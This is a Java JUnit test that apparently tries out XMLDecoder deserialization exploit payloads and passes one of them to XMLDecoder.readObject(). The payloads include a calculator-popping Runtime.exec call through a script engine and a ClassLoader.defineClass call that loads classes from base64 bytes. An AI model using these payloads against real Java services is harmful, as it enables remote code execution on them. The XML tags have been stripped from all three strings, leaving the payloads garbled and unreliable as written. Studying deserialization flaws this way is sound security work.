import org.junit.jupiter.api.Test; import java.beans.XMLDecoder; import java.io.ByteArrayInputStream; /** * @author ReaJason * @since 2025/7/3 */ class XmlDecoderServletTest { @Test void test() { String xml = "" + " \n" + " \n" + " \n" + " Calculator\n" + " \n" + " \n" + " \n" + " \n" + ""; String xml1 = "" + " \n" + " \n" + " js\n" + " \n" + " java.lang.Runtime.getRuntime().exec('open -a Calculator')\n" + " \n" + " \n" + " \n" + ""; String xml2 = "\n" + " \n" + " aGVsbG8K>\n" + " \n" + " java.lang.ClassLoader\n" + " \n" + " \n" + " defineClass\n" + " \n" + " [B\n" + " int\n" + " int\n" + " \n" + " true\n" + " \n" + " \n" + ""; try { ByteArrayInputStream inputStream = new ByteArrayInputStream(xml2.getBytes()); XMLDecoder xmlDecoder = new XMLDecoder(inputStream); xmlDecoder.readObject(); xmlDecoder.close(); } catch (Exception e) { e.printStackTrace(); } } }